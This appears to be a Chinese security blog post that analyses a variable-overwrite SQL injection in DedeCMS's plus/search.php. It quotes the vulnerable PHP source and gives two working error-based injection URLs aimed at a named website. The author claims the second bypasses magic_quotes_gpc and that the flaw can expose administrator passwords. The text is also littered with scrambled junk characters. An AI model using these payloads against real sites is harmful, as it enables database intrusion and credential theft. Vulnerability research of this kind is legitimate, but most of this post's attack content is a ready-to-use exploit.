微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
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Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码./ J' { A+ j- N
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黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
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Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
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5 L% }* H# m2 ?& u# grequire_once(dirname(__FILE__).”/../include/common.inc.php”);$ w- m1 L# W* Y, S9 {9 O( L g
require_once(DEDEINC.”/arc.searchview.class.php”); ^* R6 h* r5 T+ V* @; E
$ [) ]) V' q/ t' e" Q' {- T: @) Y$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
/ |3 S8 ^, E$ m- D& ]$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;& M/ j& m8 R6 c8 s! u; O
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;' s' C( r1 _" M3 w t3 D
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
' s! n0 |) \1 ~) H. A6 a! `; ~$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
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if(!isset($orderby)) $orderby=”;
t" C7 M- k( h6 N T: W2 Eelse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);, Z' N9 ^% y& V8 n2 z8 o
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if(!isset($searchtype)) $searchtype = ‘titlekeyword’;) p8 r& x$ v9 B9 x# W
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);- W) p3 M# U3 g. ~
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if(!isset($keyword)){+ P3 H( s* T9 N2 C4 f0 Q- u5 n. Z
if(!isset($q)) $q = ”;
' E2 W# N: A( u4 A6 B2 ` $keyword=$q;
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- j" m$ |+ a+ n# l$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
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//查找栏目信息
I/ A# P) x$ c1 j) [$ Mif(empty($typeid))( V& i: ]. D P* O8 g
{
1 u2 U6 e/ D$ U- d3 m) z $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
6 |0 v& X6 i& q" \ if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
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$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);- g1 e7 ]# X0 o# Z' T9 g
fwrite($fp, “<”.”?php\r\n”);
4 z n3 @& k1 j, p $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
8 P; R5 V$ f# H: O! [( u* Q $dsql->Execute();
6 ^2 [ O" t V) w9 O9 m+ i& `8 Z' X while($row = $dsql->GetArray())
; N/ X: V) g- \; d: S: { {
$ Y+ X0 L* K% O- [0 e7 x5 t% v fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);" J, ]! p5 R0 L9 Y" X
}
9 @ \8 X5 G, z6 X S fwrite($fp, ‘?’.'>’);. k; x4 h, O+ h% D
fclose($fp);8 p9 m V \1 m, Q- {
}
7 O& g4 h& m' j) A //引入栏目缓存并看关键字是否有相关栏目内容
, r1 J, ^9 [1 b- z5 k+ |. K& ~. u require_once($typenameCacheFile);& {) B/ Y5 p5 h+ d
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
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if(isset($typeArr) && is_array($typeArr))
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1 V b L) E" q. p( Q5 S' X# i foreach($typeArr as $id=>$typename)
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! ^7 Z5 p( S" u3 w0 V& v8 d9 n8 i <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过! G! N$ h/ m0 w+ j, V
if($keyword != $keywordn)
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$keyword = $keywordn;2 s$ M2 b" x7 H+ i' v7 e- r6 h
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设0 u/ ^0 ~- t) s' U
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}
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然后plus/search.php文件下面定义了一个 Search类的对象 . W0 L8 ~3 t) ^6 C, h; i: J/ @2 f
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.! V# j/ c7 t1 t3 F
$this->TypeLink = new TypeLink($typeid);
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* p4 V( i1 v P {8 I2 Y) DTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句. f! E! t+ v U1 ?7 U
2 T$ W) T& y: d$ }) \* z' Q8 [class TypeLink; |5 n5 G% F# X# F4 ?) Z
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var $typeDir;
0 C4 I5 s' q( X) f- m+ m' _+ q var $dsql;& z% h$ X. E) m! \6 V/ V
var $TypeID;
( `- p+ Y% D0 Z5 V4 L4 ?2 j' J var $baseDir;
7 L% x* z3 y5 W- C- o var $modDir;
' D( D: B; Y) m; t* W var $indexUrl;- c- @# E3 E; K7 t* U
var $indexName;9 I+ V- I" \6 a- P4 T) z6 [
var $TypeInfos;/ k ~7 B. W) a" |- Q6 }# D% q
var $SplitSymbol;8 H0 \6 X4 S7 V1 o9 l
var $valuePosition;
" M4 t1 x; P) |. c var $valuePositionName;9 {5 o- p. w1 s0 t) `
var $OptionArrayList;//构造函数///////8 x0 _5 a2 S4 z; t1 \' I
//php5构造函数5 J2 d' W$ K; g1 x
function __construct($typeid); k' [3 u- G8 Y5 d2 a( l
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$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
' C$ b- m! ` p0 j3 a% I/ ^* |- V $this->indexName = $GLOBALS['cfg_indexname'];+ k% p& y. z9 |9 |( d
$this->baseDir = $GLOBALS['cfg_basedir'];2 K& Z. i0 y+ x
$this->modDir = $GLOBALS['cfg_templets_dir'];. x* o/ x# V7 W- M- u6 H' f6 |6 ]" G x$ D5 v
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
) \1 ?4 m1 W% Q, m0 H. N# y $this->dsql = $GLOBALS['dsql'];
' M! J' N/ D" X) t7 u1 @% p; y $this->TypeID = $typeid;
$ p, R$ Z. C) ^) | $this->valuePosition = ”;
( v# T9 l- O0 F% U8 r $this->valuePositionName = ”;) B# t9 t. }! Q( D
$this->typeDir = ”;' c" `3 a# h- r0 a8 \% T
$this->OptionArrayList = ”;
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//载入类目信息
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<font color=”Red”>$query = “SELECT tp.*,ch.typename as
( l3 s) g; p* _" p1 |. Q. `1 actypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join; U, A4 B& ^. a8 @1 p/ @
`#@__channeltype` ch
+ d' z# Y$ U; @ ~) V on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿+ ~) i6 B* s( s! W/ F
1 T. u- U9 O# X if($typeid > 0). p, a+ H3 r# u# W( R% X( F9 Y
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$this->TypeInfos = $this->dsql->GetOne($query);8 T1 c8 ?, F+ a- v6 `1 n g
利用代码一 需要 即使magic_quotes_gpc = Off
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www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
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6 X* c! [1 K; R% l这只是其中一个利用代码… Search 类的构造函数再往下
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, b; M( Z6 G7 |' e/ h……省略
9 v0 n4 y U% h' k: N. H' w$this->TypeID = $typeid;; W* ^! |. N2 [! C
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if($this->TypeID==”0″){
9 Y$ v; E$ o1 T+ y; i* [/ V0 T1 V+ D $this->ChannelTypeid=1;
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$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲( {( H6 X' g$ {$ @
//现在不鸡肋了吧亲…
0 k4 I/ b- A3 D; [8 A# p. A6 ? $this->ChannelTypeid=$row['channeltype'];
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/ ~! G7 q$ K9 }0 j* x8 Z5 m利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
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www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title x& q4 J6 v9 o! r, G& X; ~
' w! U' X5 u0 D如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
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